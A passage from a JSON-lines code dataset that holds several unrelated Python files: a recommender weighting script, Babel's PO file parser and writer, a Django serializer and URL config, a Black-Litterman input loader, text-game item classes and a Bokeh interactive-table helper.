(-ages.dat)\")\n parser.add_argument(\"--factor\", \"-f\", type=float, choices=[Range(0.1, 1)], help=\"The anti-aging factor\")\n parser.add_argument(\"--adaptive\", \"-a\", action=\"store_true\", default=False,\n help=\"Set factor to be fit for adaptively, the factor value if given will be discarded.\")\n args = parser.parse_args()\n factor = 1\n # Checking and setting the arguments:\n if args.ratings_ages_file:\n ratings_file = args.ratings_ages_file\n if args.factor:\n factor = args.factor\n \"\"\"\n\n\n for bla in ['items', 'users']:\n for fold in [0, 1, 2, 3, 5]:\n ratings_file = '../../../datasets/citeulike/citeulike_2004_2007/time-based_split_out-of-matrix/fold-' + str(fold + 1) + '/train-' + bla + '.dat'\n ratings_ages_file = '../../../datasets/citeulike/citeulike_2004_2007/time-based_split_out-of-matrix/fold-' + str(fold + 1) + '/train-' + bla + '-ages.dat'\n theta_file = \"../../../datasets/citeulike/citeulike_2004_2007/time-based_split_out-of-matrix/fold-\" + str(fold + 1) + \"/lda_sklearn/theta_150.dat\"\n ratings_file_name = os.path.splitext(os.path.basename(ratings_file))[0]\n if '-ages' in ratings_file_name:\n output_file = os.path.join(os.path.dirname(ratings_file), ratings_file_name.replace('-ages', '-weights'))\n else:\n output_file = os.path.join(os.path.dirname(ratings_file), ratings_file_name + \"-weights\")\n\n if not os.path.exists(ratings_file):\n print(\"Input file is not found: {}\".format(ratings_file))\n raise NameError(\"Input file is not found\")\n # Read ratings\n print(\"Reading ratings file: {}\".format(ratings_file))\n ratings_list = read_ratings_as_list(ratings_file)\n ratings_ages_list = read_ratings_as_list(ratings_ages_file, type_=float)\n\n if adaptive:\n print(\"Factor: {}, Fold: {}, bla: {}\".format('Adaptive', fold + 1, bla))\n output_file += '_Adaptive'\n\n # Load papers topics\n l = []\n with open(theta_file, 'r') as f:\n for line in f:\n l.append([float(i) for i in line.split(\" \")])\n papers_topics = []\n for i in l:\n papers_topics.append([k for k, j in enumerate(i) if j > 0.01])\n\n # Sort ratings per ages:\n sorted_ratings_list = []\n for i in range(len(ratings_list)):\n r = ratings_list[i]\n ages = ratings_ages_list[i]\n r_ages = list(zip(r, ages))\n sorted_ratings_list.append([i for i, _ in sorted(r_ages, key=lambda x: x[1], reverse=True)])\n lambdas = calculate_users_lambda2(sorted_ratings_list, papers_topics)\n # lambdas = calculate_users_lambda(sorted_ratings_list, papers_topics)\n\n # the weights:\n weights = []\n for u, user_ratings in enumerate(ratings_ages_list):\n # Convert to years:\n l = [i / 12 for i in user_ratings]\n weights.append([\"{:5.3f}\".format(i) for i in interest_extent_2(l, lambdas[u])])\n # weights.append([\"{:5.3f}\".format(i) for i in interest_extent(l, lambdas[u])])\n\n output_file += '_IE2.dat'\n # Saving the predictions:\n write_ratings(weights, output_file)\n\n else:\n for factor in [0.1, 0.5, 1]:\n output_f = output_file + '_Factor_{}'.format(factor)\n print(\"Factor: {}, Fold: {}, bla: {}\".format(factor, fold+1, bla))\n # the weights:\n weights = []\n for u,user_ratings in enumerate(ratings_ages_list):\n # Convert to years:\n l = [i/12 for i in user_ratings]\n weights.append([\"{:5.3f}\".format(i) for i in interest_extent_2(l, factor)])\n\n output_f += '_IE2.dat'\n # Saving the predictions:\n print(\"Saving to file: [{}]\".format(output_f))\n write_ratings(weights, output_f)","repo_name":"anasalzogbi/T-CTR","sub_path":"lib/time-aware_rec.py","file_name":"time-aware_rec.py","file_ext":"py","file_size_in_byte":7227,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"29"} +{"seq_id":"72925041679","text":"from __future__ import annotations\n\nimport os\nimport re\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING\n\nfrom babel.core import Locale\nfrom babel.messages.catalog import Catalog, Message\nfrom babel.util import _cmp, wraptext\n\nif TYPE_CHECKING:\n from typing import IO, AnyStr\n\n from _typeshed import SupportsWrite\n from typing_extensions import Literal\n\n\ndef unescape(string: str) -> str:\n r\"\"\"Reverse `escape` the given string.\n\n >>> print(unescape('\"Say:\\\\n \\\\\"hello, world!\\\\\"\\\\n\"'))\n Say:\n \"hello, world!\"\n \n\n :param string: the string to unescape\n \"\"\"\n def replace_escapes(match):\n m = match.group(1)\n if m == 'n':\n return '\\n'\n elif m == 't':\n return '\\t'\n elif m == 'r':\n return '\\r'\n # m is \\ or \"\n return m\n return re.compile(r'\\\\([\\\\trn\"])').sub(replace_escapes, string[1:-1])\n\n\ndef denormalize(string: str) -> str:\n r\"\"\"Reverse the normalization done by the `normalize` function.\n\n >>> print(denormalize(r'''\"\"\n ... \"Say:\\n\"\n ... \" \\\"hello, world!\\\"\\n\"'''))\n Say:\n \"hello, world!\"\n \n\n >>> print(denormalize(r'''\"\"\n ... \"Say:\\n\"\n ... \" \\\"Lorem ipsum dolor sit \"\n ... \"amet, consectetur adipisicing\"\n ... \" elit, \\\"\\n\"'''))\n Say:\n \"Lorem ipsum dolor sit amet, consectetur adipisicing elit, \"\n \n\n :param string: the string to denormalize\n \"\"\"\n if '\\n' in string:\n escaped_lines = string.splitlines()\n if string.startswith('\"\"'):\n escaped_lines = escaped_lines[1:]\n lines = map(unescape, escaped_lines)\n return ''.join(lines)\n else:\n return unescape(string)\n\n\nclass PoFileError(Exception):\n \"\"\"Exception thrown by PoParser when an invalid po file is encountered.\"\"\"\n\n def __init__(self, message: str, catalog: Catalog, line: str, lineno: int) -> None:\n super().__init__(f'{message} on {lineno}')\n self.catalog = catalog\n self.line = line\n self.lineno = lineno\n\n\nclass _NormalizedString:\n\n def __init__(self, *args: str) -> None:\n self._strs: list[str] = []\n for arg in args:\n self.append(arg)\n\n def append(self, s: str) -> None:\n self._strs.append(s.strip())\n\n def denormalize(self) -> str:\n return ''.join(map(unescape, self._strs))\n\n def __bool__(self) -> bool:\n return bool(self._strs)\n\n def __repr__(self) -> str:\n return os.linesep.join(self._strs)\n\n def __cmp__(self, other: object) -> int:\n if not other:\n return 1\n\n return _cmp(str(self), str(other))\n\n def __gt__(self, other: object) -> bool:\n return self.__cmp__(other) > 0\n\n def __lt__(self, other: object) -> bool:\n return self.__cmp__(other) < 0\n\n def __ge__(self, other: object) -> bool:\n return self.__cmp__(other) >= 0\n\n def __le__(self, other: object) -> bool:\n return self.__cmp__(other) <= 0\n\n def __eq__(self, other: object) -> bool:\n return self.__cmp__(other) == 0\n\n def __ne__(self, other: object) -> bool:\n return self.__cmp__(other) != 0\n\n\nclass PoFileParser:\n \"\"\"Support class to read messages from a ``gettext`` PO (portable object) file\n and add them to a `Catalog`\n\n See `read_po` for simple cases.\n \"\"\"\n\n _keywords = [\n 'msgid',\n 'msgstr',\n 'msgctxt',\n 'msgid_plural',\n ]\n\n def __init__(self, catalog: Catalog, ignore_obsolete: bool = False, abort_invalid: bool = False) -> None:\n self.catalog = catalog\n self.ignore_obsolete = ignore_obsolete\n self.counter = 0\n self.offset = 0\n self.abort_invalid = abort_invalid\n self._reset_message_state()\n\n def _reset_message_state(self) -> None:\n self.messages = []\n self.translations = []\n self.locations = []\n self.flags = []\n self.user_comments = []\n self.auto_comments = []\n self.context = None\n self.obsolete = False\n self.in_msgid = False\n self.in_msgstr = False\n self.in_msgctxt = False\n\n def _add_message(self) -> None:\n \"\"\"\n Add a message to the catalog based on the current parser state and\n clear the state ready to process the next message.\n \"\"\"\n self.translations.sort()\n if len(self.messages) > 1:\n msgid = tuple(m.denormalize() for m in self.messages)\n else:\n msgid = self.messages[0].denormalize()\n if isinstance(msgid, (list, tuple)):\n string = ['' for _ in range(self.catalog.num_plurals)]\n for idx, translation in self.translations:\n if idx >= self.catalog.num_plurals:\n self._invalid_pofile(\"\", self.offset, \"msg has more translations than num_plurals of catalog\")\n continue\n string[idx] = translation.denormalize()\n string = tuple(string)\n else:\n string = self.translations[0][1].denormalize()\n msgctxt = self.context.denormalize() if self.context else None\n message = Message(msgid, string, list(self.locations), set(self.flags),\n self.auto_comments, self.user_comments, lineno=self.offset + 1,\n context=msgctxt)\n if self.obsolete:\n if not self.ignore_obsolete:\n self.catalog.obsolete[msgid] = message\n else:\n self.catalog[msgid] = message\n self.counter += 1\n self._reset_message_state()\n\n def _finish_current_message(self) -> None:\n if self.messages:\n self._add_message()\n\n def _process_message_line(self, lineno, line, obsolete=False) -> None:\n if line.startswith('\"'):\n self._process_string_continuation_line(line, lineno)\n else:\n self._process_keyword_line(lineno, line, obsolete)\n\n def _process_keyword_line(self, lineno, line, obsolete=False) -> None:\n\n for keyword in self._keywords:\n try:\n if line.startswith(keyword) and line[len(keyword)] in [' ', '[']:\n arg = line[len(keyword):]\n break\n except IndexError:\n self._invalid_pofile(line, lineno, \"Keyword must be followed by a string\")\n else:\n self._invalid_pofile(line, lineno, \"Start of line didn't match any expected keyword.\")\n return\n\n if keyword in ['msgid', 'msgctxt']:\n self._finish_current_message()\n\n self.obsolete = obsolete\n\n # The line that has the msgid is stored as the offset of the msg\n # should this be the msgctxt if it has one?\n if keyword == 'msgid':\n self.offset = lineno\n\n if keyword in ['msgid', 'msgid_plural']:\n self.in_msgctxt = False\n self.in_msgid = True\n self.messages.append(_NormalizedString(arg))\n\n elif keyword == 'msgstr':\n self.in_msgid = False\n self.in_msgstr = True\n if arg.startswith('['):\n idx, msg = arg[1:].split(']', 1)\n self.translations.append([int(idx), _NormalizedString(msg)])\n else:\n self.translations.append([0, _NormalizedString(arg)])\n\n elif keyword == 'msgctxt':\n self.in_msgctxt = True\n self.context = _NormalizedString(arg)\n\n def _process_string_continuation_line(self, line, lineno) -> None:\n if self.in_msgid:\n s = self.messages[-1]\n elif self.in_msgstr:\n s = self.translations[-1][1]\n elif self.in_msgctxt:\n s = self.context\n else:\n self._invalid_pofile(line, lineno, \"Got line starting with \\\" but not in msgid, msgstr or msgctxt\")\n return\n s.append(line)\n\n def _process_comment(self, line) -> None:\n\n self._finish_current_message()\n\n if line[1:].startswith(':'):\n for location in line[2:].lstrip().split():\n pos = location.rfind(':')\n if pos >= 0:\n try:\n lineno = int(location[pos + 1:])\n except ValueError:\n continue\n self.locations.append((location[:pos], lineno))\n else:\n self.locations.append((location, None))\n elif line[1:].startswith(','):\n for flag in line[2:].lstrip().split(','):\n self.flags.append(flag.strip())\n elif line[1:].startswith('.'):\n # These are called auto-comments\n comment = line[2:].strip()\n if comment: # Just check that we're not adding empty comments\n self.auto_comments.append(comment)\n else:\n # These are called user comments\n self.user_comments.append(line[1:].strip())\n\n def parse(self, fileobj: IO[AnyStr]) -> None:\n \"\"\"\n Reads from the file-like object `fileobj` and adds any po file\n units found in it to the `Catalog` supplied to the constructor.\n \"\"\"\n\n for lineno, line in enumerate(fileobj):\n line = line.strip()\n if not isinstance(line, str):\n line = line.decode(self.catalog.charset)\n if not line:\n continue\n if line.startswith('#'):\n if line[1:].startswith('~'):\n self._process_message_line(lineno, line[2:].lstrip(), obsolete=True)\n else:\n self._process_comment(line)\n else:\n self._process_message_line(lineno, line)\n\n self._finish_current_message()\n\n # No actual messages found, but there was some info in comments, from which\n # we'll construct an empty header message\n if not self.counter and (self.flags or self.user_comments or self.auto_comments):\n self.messages.append(_NormalizedString('\"\"'))\n self.translations.append([0, _NormalizedString('\"\"')])\n self._add_message()\n\n def _invalid_pofile(self, line, lineno, msg) -> None:\n assert isinstance(line, str)\n if self.abort_invalid:\n raise PoFileError(msg, self.catalog, line, lineno)\n print(\"WARNING:\", msg)\n print(f\"WARNING: Problem on line {lineno + 1}: {line!r}\")\n\n\ndef read_po(\n fileobj: IO[AnyStr],\n locale: str | Locale | None = None,\n domain: str | None = None,\n ignore_obsolete: bool = False,\n charset: str | None = None,\n abort_invalid: bool = False,\n) -> Catalog:\n \"\"\"Read messages from a ``gettext`` PO (portable object) file from the given\n file-like object and return a `Catalog`.\n\n >>> from datetime import datetime\n >>> from io import StringIO\n >>> buf = StringIO('''\n ... #: main.py:1\n ... #, fuzzy, python-format\n ... msgid \"foo %(name)s\"\n ... msgstr \"quux %(name)s\"\n ...\n ... # A user comment\n ... #. An auto comment\n ... #: main.py:3\n ... msgid \"bar\"\n ... msgid_plural \"baz\"\n ... msgstr[0] \"bar\"\n ... msgstr[1] \"baaz\"\n ... ''')\n >>> catalog = read_po(buf)\n >>> catalog.revision_date = datetime(2007, 4, 1)\n\n >>> for message in catalog:\n ... if message.id:\n ... print((message.id, message.string))\n ... print(' ', (message.locations, sorted(list(message.flags))))\n ... print(' ', (message.user_comments, message.auto_comments))\n (u'foo %(name)s', u'quux %(name)s')\n ([(u'main.py', 1)], [u'fuzzy', u'python-format'])\n ([], [])\n ((u'bar', u'baz'), (u'bar', u'baaz'))\n ([(u'main.py', 3)], [])\n ([u'A user comment'], [u'An auto comment'])\n\n .. versionadded:: 1.0\n Added support for explicit charset argument.\n\n :param fileobj: the file-like object to read the PO file from\n :param locale: the locale identifier or `Locale` object, or `None`\n if the catalog is not bound to a locale (which basically\n means it's a template)\n :param domain: the message domain\n :param ignore_obsolete: whether to ignore obsolete messages in the input\n :param charset: the character set of the catalog.\n :param abort_invalid: abort read if po file is invalid\n \"\"\"\n catalog = Catalog(locale=locale, domain=domain, charset=charset)\n parser = PoFileParser(catalog, ignore_obsolete, abort_invalid=abort_invalid)\n parser.parse(fileobj)\n return catalog\n\n\nWORD_SEP = re.compile('('\n r'\\s+|' # any whitespace\n r'[^\\s\\w]*\\w+[a-zA-Z]-(?=\\w+[a-zA-Z])|' # hyphenated words\n r'(?<=[\\w\\!\\\"\\'\\&\\.\\,\\?])-{2,}(?=\\w)' # em-dash\n ')')\n\n\ndef escape(string: str) -> str:\n r\"\"\"Escape the given string so that it can be included in double-quoted\n strings in ``PO`` files.\n\n >>> escape('''Say:\n ... \"hello, world!\"\n ... ''')\n '\"Say:\\\\n \\\\\"hello, world!\\\\\"\\\\n\"'\n\n :param string: the string to escape\n \"\"\"\n return '\"%s\"' % string.replace('\\\\', '\\\\\\\\') \\\n .replace('\\t', '\\\\t') \\\n .replace('\\r', '\\\\r') \\\n .replace('\\n', '\\\\n') \\\n .replace('\\\"', '\\\\\"')\n\n\ndef normalize(string: str, prefix: str = '', width: int = 76) -> str:\n r\"\"\"Convert a string into a format that is appropriate for .po files.\n\n >>> print(normalize('''Say:\n ... \"hello, world!\"\n ... ''', width=None))\n \"\"\n \"Say:\\n\"\n \" \\\"hello, world!\\\"\\n\"\n\n >>> print(normalize('''Say:\n ... \"Lorem ipsum dolor sit amet, consectetur adipisicing elit, \"\n ... ''', width=32))\n \"\"\n \"Say:\\n\"\n \" \\\"Lorem ipsum dolor sit \"\n \"amet, consectetur adipisicing\"\n \" elit, \\\"\\n\"\n\n :param string: the string to normalize\n :param prefix: a string that should be prepended to every line\n :param width: the maximum line width; use `None`, 0, or a negative number\n to completely disable line wrapping\n \"\"\"\n if width and width > 0:\n prefixlen = len(prefix)\n lines = []\n for line in string.splitlines(True):\n if len(escape(line)) + prefixlen > width:\n chunks = WORD_SEP.split(line)\n chunks.reverse()\n while chunks:\n buf = []\n size = 2\n while chunks:\n length = len(escape(chunks[-1])) - 2 + prefixlen\n if size + length < width:\n buf.append(chunks.pop())\n size += length\n else:\n if not buf:\n # handle long chunks by putting them on a\n # separate line\n buf.append(chunks.pop())\n break\n lines.append(''.join(buf))\n else:\n lines.append(line)\n else:\n lines = string.splitlines(True)\n\n if len(lines) <= 1:\n return escape(string)\n\n # Remove empty trailing line\n if lines and not lines[-1]:\n del lines[-1]\n lines[-1] += '\\n'\n return '\"\"\\n' + '\\n'.join([(prefix + escape(line)) for line in lines])\n\n\ndef write_po(\n fileobj: SupportsWrite[bytes],\n catalog: Catalog,\n width: int = 76,\n no_location: bool = False,\n omit_header: bool = False,\n sort_output: bool = False,\n sort_by_file: bool = False,\n ignore_obsolete: bool = False,\n include_previous: bool = False,\n include_lineno: bool = True,\n) -> None:\n r\"\"\"Write a ``gettext`` PO (portable object) template file for a given\n message catalog to the provided file-like object.\n\n >>> catalog = Catalog()\n >>> catalog.add(u'foo %(name)s', locations=[('main.py', 1)],\n ... flags=('fuzzy',))\n \n >>> catalog.add((u'bar', u'baz'), locations=[('main.py', 3)])\n \n >>> from io import BytesIO\n >>> buf = BytesIO()\n >>> write_po(buf, catalog, omit_header=True)\n >>> print(buf.getvalue().decode(\"utf8\"))\n #: main.py:1\n #, fuzzy, python-format\n msgid \"foo %(name)s\"\n msgstr \"\"\n \n #: main.py:3\n msgid \"bar\"\n msgid_plural \"baz\"\n msgstr[0] \"\"\n msgstr[1] \"\"\n \n \n\n :param fileobj: the file-like object to write to\n :param catalog: the `Catalog` instance\n :param width: the maximum line width for the generated output; use `None`,\n 0, or a negative number to completely disable line wrapping\n :param no_location: do not emit a location comment for every message\n :param omit_header: do not include the ``msgid \"\"`` entry at the top of the\n output\n :param sort_output: whether to sort the messages in the output by msgid\n :param sort_by_file: whether to sort the messages in the output by their\n locations\n :param ignore_obsolete: whether to ignore obsolete messages and not include\n them in the output; by default they are included as\n comments\n :param include_previous: include the old msgid as a comment when\n updating the catalog\n :param include_lineno: include line number in the location comment\n \"\"\"\n def _normalize(key, prefix=''):\n return normalize(key, prefix=prefix, width=width)\n\n def _write(text):\n if isinstance(text, str):\n text = text.encode(catalog.charset, 'backslashreplace')\n fileobj.write(text)\n\n def _write_comment(comment, prefix=''):\n # xgettext always wraps comments even if --no-wrap is passed;\n # provide the same behaviour\n _width = width if width and width > 0 else 76\n for line in wraptext(comment, _width):\n _write(f\"#{prefix} {line.strip()}\\n\")\n\n def _write_message(message, prefix=''):\n if isinstance(message.id, (list, tuple)):\n if message.context:\n _write(f\"{prefix}msgctxt {_normalize(message.context, prefix)}\\n\")\n _write(f\"{prefix}msgid {_normalize(message.id[0], prefix)}\\n\")\n _write(f\"{prefix}msgid_plural {_normalize(message.id[1], prefix)}\\n\")\n\n for idx in range(catalog.num_plurals):\n try:\n string = message.string[idx]\n except IndexError:\n string = ''\n _write(f\"{prefix}msgstr[{idx:d}] {_normalize(string, prefix)}\\n\")\n else:\n if message.context:\n _write(f\"{prefix}msgctxt {_normalize(message.context, prefix)}\\n\")\n _write(f\"{prefix}msgid {_normalize(message.id, prefix)}\\n\")\n _write(f\"{prefix}msgstr {_normalize(message.string or '', prefix)}\\n\")\n\n sort_by = None\n if sort_output:\n sort_by = \"message\"\n elif sort_by_file:\n sort_by = \"location\"\n\n for message in _sort_messages(catalog, sort_by=sort_by):\n if not message.id: # This is the header \"message\"\n if omit_header:\n continue\n comment_header = catalog.header_comment\n if width and width > 0:\n lines = []\n for line in comment_header.splitlines():\n lines += wraptext(line, width=width,\n subsequent_indent='# ')\n comment_header = '\\n'.join(lines)\n _write(f\"{comment_header}\\n\")\n\n for comment in message.user_comments:\n _write_comment(comment)\n for comment in message.auto_comments:\n _write_comment(comment, prefix='.')\n\n if not no_location:\n locs = []\n\n # sort locations by filename and lineno.\n # if there's no as lineno, use `-1`.\n # if no sorting possible, leave unsorted.\n # (see issue #606)\n try:\n locations = sorted(message.locations,\n key=lambda x: (x[0], isinstance(x[1], int) and x[1] or -1))\n except TypeError: # e.g. \"TypeError: unorderable types: NoneType() < int()\"\n locations = message.locations\n\n for filename, lineno in locations:\n location = filename.replace(os.sep, '/')\n if lineno and include_lineno:\n location = f\"{location}:{lineno:d}\"\n if location not in locs:\n locs.append(location)\n _write_comment(' '.join(locs), prefix=':')\n if message.flags:\n _write(f\"#{', '.join(['', *sorted(message.flags)])}\\n\")\n\n if message.previous_id and include_previous:\n _write_comment(\n f'msgid {_normalize(message.previous_id[0])}',\n prefix='|',\n )\n if len(message.previous_id) > 1:\n _write_comment('msgid_plural %s' % _normalize(\n message.previous_id[1]\n ), prefix='|')\n\n _write_message(message)\n _write('\\n')\n\n if not ignore_obsolete:\n for message in _sort_messages(\n catalog.obsolete.values(),\n sort_by=sort_by\n ):\n for comment in message.user_comments:\n _write_comment(comment)\n _write_message(message, prefix='#~ ')\n _write('\\n')\n\n\ndef _sort_messages(messages: Iterable[Message], sort_by: Literal[\"message\", \"location\"]) -> list[Message]:\n \"\"\"\n Sort the given message iterable by the given criteria.\n\n Always returns a list.\n\n :param messages: An iterable of Messages.\n :param sort_by: Sort by which criteria? Options are `message` and `location`.\n :return: list[Message]\n \"\"\"\n messages = list(messages)\n if sort_by == \"message\":\n messages.sort()\n elif sort_by == \"location\":\n messages.sort(key=lambda m: m.locations)\n return messages\n","repo_name":"python-babel/babel","sub_path":"babel/messages/pofile.py","file_name":"pofile.py","file_ext":"py","file_size_in_byte":22078,"program_lang":"python","lang":"en","doc_type":"code","stars":1207,"dataset":"github-code","pt":"29"} +{"seq_id":"3027291669","text":"from rest_framework import serializers\nfrom apps.teacher.models import Teacher\nfrom apps.user.serializers import TeacherSerializer\n\n\nclass TeacherRegisterSerializers(serializers.ModelSerializer):\n user = TeacherSerializer(required = True)\n class Meta:\n model = Teacher\n fields = ('id',\n 'user',\n 'teacher_id',\n 'name',\n 'image',\n 'dob',\n 'gender',\n 'phone',\n 'address',\n 'join_year')\n\n def create(self, validated_data):\n user_data = validated_data.pop(\"user\")\n user = TeacherSerializer.create(TeacherSerializer(),validated_data= user_data)\n return Teacher.objects.create(**validated_data, user= user)","repo_name":"poovarasilabglo/school-management","sub_path":"apps/teacher/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25893946014","text":"import pandas as pd\nimport numpy as np\nimport json\n\n\ndef process(prices=None, market_prices=None, mcaps=None, absolute_views=None,\n PQ=None, intervals=None, view_confidences=None):\n omega = None\n P = None\n Q = None\n\n if prices is not None:\n prices = pd.read_csv(prices)\n prices.set_index(\"Date\", inplace=True)\n\n if market_prices is not None:\n market_prices = pd.read_csv(market_prices)[\"Adj Close\"]\n\n if mcaps is not None:\n mcaps = json.loads(mcaps.read())\n\n if absolute_views is not None:\n absolute_views = json.loads(absolute_views.read())\n\n if PQ is not None:\n PQ = json.loads(PQ.read())\n Q = np.array(PQ[\"Q\"]).reshape(-1, 1)\n P = np.array(PQ[\"P\"])\n\n if view_confidences is not None:\n view_confidences = json.loads(view_confidences.read())\n view_confidences = view_confidences[\"view_confidences\"]\n omega = \"idzorek\"\n\n if intervals is not None:\n intervals = json.loads(intervals.read())\n intervals = intervals[\"intervals\"]\n\n variances = []\n for lb, ub in intervals:\n sigma = (ub - lb) / 2\n variances.append(sigma ** 2)\n omega = np.diag(variances)\n\n return prices, market_prices, mcaps, absolute_views, P, Q, omega, view_confidences\n","repo_name":"Xunhaoz/black-litterman-api","sub_path":"black_litterman/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16373046095","text":"from language import *\n\nclass Item():\n\tdef __init__(self, name, item_type, description,\n\t\t\t\t attributes, value, weight):\n\t\tself.name = name\n\t\tself.item_type = item_type\n\t\tself.description = description\n\t\tself.attributes = attributes\n\t\tself.value = value\n\t\tself.weight = weight\n\nclass Weapon(Item):\n\tdef __init__(self, weapon_range, weapon_type, ammo_type, damage):\n\t\tself.weapon_range = weapon_range\n\t\tself.weapon_type = weapon_type\n\t\tself.damage = damage\n\t\tsuper.__init__(item_type=\"weapon\")\n\n\tdef load_weapon(self, command_input, second_input):\n\t\tpass\n\nclass Sidearm(Weapon):\n\tdef __init__(self, ammo_type, loaded):\n\t\tself. ammo_type = ammo_type\n\t\tself.loaded = False\n\t\tsuper.__init__(weapon_range = \"far\",\n\t\t\t\t\t weapon_type=\"sidearm\",\n\t\t\t\t\t damage=50)\n\nclass Pistol9mm(Weapon):\n\tdef __init__(self):\n\t\tsuper.__init__(ammo_type = \"9mm\")\n\n### Weapon Ammunition\n\nclass Ammo(Item):\n\tdef __init__(self, description, ammo_type, current_ammo, max_ammo):\n\t\tself.description = description\n\t\tself.ammo_type = ammo_type\n\t\tself.current_ammo = current_ammo\n\t\tself.max_ammo = max_ammo\n\nclass Ammo9mm(Ammo):\n\tdef __init__(self):\n\t\tsuper.__init__(description=\"It's a standard 9mm magazine.\",\n\t\t\t\t\t ammo_type=\"9mm\",\n\t\t\t\t\t max_ammo=10)\n\n\nitems = {\n\t1: {\"name\" \t\t:\t\"pistol\", \n\t\t\"class\"\t\t\t:\tSidearm,\n\t\t\"ammo\"\t\t\t:\tFalse,\n\t\t\"description\" \t:\t\"Solid sidearm. Looks like it'll take a 9mm magazine.\",\n\t\t\"attributes\" \t:\t[],\n\t\t\"value\"\t\t\t:\t5000,\n\t\t\"weight\"\t\t:\t5},\n\t2: {\"name\" \t\t:\t\"magazine\", \n\t\t\"class\"\t\t\t:\tAmmo9mm,\n\t\t\"description\" \t:\t\"Looks like a 9mm magazine.\",\n\t\t\"attributes\" \t:\t[],\n\t\t\"value\"\t\t\t:\t5000,\n\t\t\"weight\"\t\t:\t5,\n\t\t\"ammo_type\"\t\t:\t\"9mm\",\n\t\t\"current_ammo\"\t: \t10,\n\t\t\"max_ammo\"\t\t:\t10,}\n}","repo_name":"Jawmo/VOEM","sub_path":"game/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"12575476347","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'modeltrain'\nurlpatterns = [\n #path('', views.index, name='index'),\n path('', views.upload_csv, name='upload_csv'),\n path('train', views.train, name='train'),\n]","repo_name":"deepskandpal/Sensei","sub_path":"sensei/modeltrain/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42175458771","text":"from bokeh.layouts import Spacer, column, row\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.models.widgets import DataTable, Div, Select, TableColumn\nfrom pandas import DataFrame, MultiIndex, concat\n\nfrom asap.strings import AND, OR\n\nfrom .setup import (AND_SIGN, CLOSE_BRACKET, COLON, COMMA, EXPRESSION,\n FINISH_COLUMN, OPEN_BRACKET, OR_SIGN, START_COLUMN,\n TIME_COLUMN)\n\n\nclass InteractiveTableLayout:\n ALL_VALUES = 'All Values'\n GREEN_BACKGROUND_TEXT_STYLE = {'font-weight': 'bold', 'color': 'white', 'background-color': '#4CAF50',\n 'padding-left': '5px', 'padding-right': '5px'}\n COLUMN_WIDTH = 170\n\n def __init__(self, title, table):\n # data frame\n self._dataframe_table = table.astype(str)\n\n # sku's table\n self._interactive_table_source = ColumnDataSource(self._dataframe_table)\n self._interactive_table_columns = [TableColumn(field=col, title=col, width=self.COLUMN_WIDTH) for col in\n self._dataframe_table.columns]\n\n self._interactive_table = DataTable(columns=self._interactive_table_columns,\n source=self._interactive_table_source,\n width=self.COLUMN_WIDTH*len(self._interactive_table_columns)+40)\n\n # filtering\n self.__create_text_filters(table.columns)\n\n # create title\n self._title_div = Div(text=title, style=self.GREEN_BACKGROUND_TEXT_STYLE)\n\n # create the layout\n self.layout = column(self._title_div, row(self.__text_filters), row(self._interactive_table))\n\n def __create_text_filters(self, text_filter_columns):\n first_space = Spacer(width=43)\n self.__text_filters = [first_space]\n for filter_column in text_filter_columns:\n column_values = list(set(self._dataframe_table[filter_column].values))\n column_values.sort()\n column_values.insert(0, self.ALL_VALUES)\n select_column_value = Select(title=filter_column, value=self.ALL_VALUES, options=column_values,\n width=self.COLUMN_WIDTH-13)\n select_column_value.on_change('value', self.__on_text_filter_change(filter_column))\n self.__text_filters.append(select_column_value)\n\n def __on_text_filter_change(self, col):\n def on_change(attr, old, new):\n if new != old:\n self.__apply_filters()\n\n return on_change\n\n def __apply_filters(self):\n filtered_skus_df = self.__calculate_filtered_df(self.__text_filters)\n self._interactive_table_source = ColumnDataSource(filtered_skus_df)\n\n self._interactive_table.source = self._interactive_table_source\n\n self.__update_text_filters_options()\n\n def __update_text_filters_options(self):\n for text_filter in self.__text_filters:\n if not isinstance(text_filter, Spacer):\n text_filter_options = self.__calculate_text_filters_options(text_filter)\n text_filter.options = text_filter_options\n\n def __calculate_text_filters_options(self, text_filter):\n other_filters = filter(lambda f: f != text_filter, self.__text_filters)\n filtered_df = self.__calculate_filtered_df(other_filters)\n filter_options = list(set(filtered_df[text_filter.title].values))\n filter_options.sort()\n filter_options.insert(0, self.ALL_VALUES)\n return filter_options\n\n def __calculate_filtered_df(self, text_filters):\n filtered_skus_df = self._dataframe_table\n for text_filter in text_filters:\n if not isinstance(text_filter, Spacer) and text_filter.value != self.ALL_VALUES:\n filtered_skus_df = filtered_skus_df[filtered_skus_df[text_filter.title] == text_filter.value]\n return filtered_skus_df\n\n\ndef show_interactive_table(table, table_name=''):\n \"\"\"\n Shows the table with sorting and filtering options\n\n :param table: dataframe\n :param table_name: the name of the table\n\n Example::\n\n >>> table = DataFrame()\n >>> show_interactive_table(table, 'table_name')\n \"\"\"\n from bokeh.application import Application\n from bokeh.application.handlers import FunctionHandler\n from notebook import notebookapp\n from bokeh.io import show\n import os\n\n def modify_doc(doc):\n table_manager = InteractiveTableLayout(table_name, table)\n doc.add_root(table_manager.layout)\n return doc\n\n # Set up an application to show in the notebook\n handler = FunctionHandler(modify_doc)\n app = Application(handler)\n servers = list(notebookapp.list_running_servers())\n port = servers[0]['port'] # TODO: need to get the relevant port to the one we're working on\n cmd = 'hostname'\n host = os.popen(cmd).read().rstrip()\n cmd = 'hostname -d'\n domain = os.popen(cmd).read().rstrip()\n url = 'http://' + host + '.' + domain + ':' + str(port)\n show(app, notebook_url=url)\n\n\ndef find_bubbles(res, hw_resource, start, end):\n \"\"\"\n Finding bubbles in time range given of hw resource.\n Expected task analysis results to have START/FINISH/RESOURCE columns\n\n :param res: Task analysis results\n :param hw_resource:\n :param start:\n :param 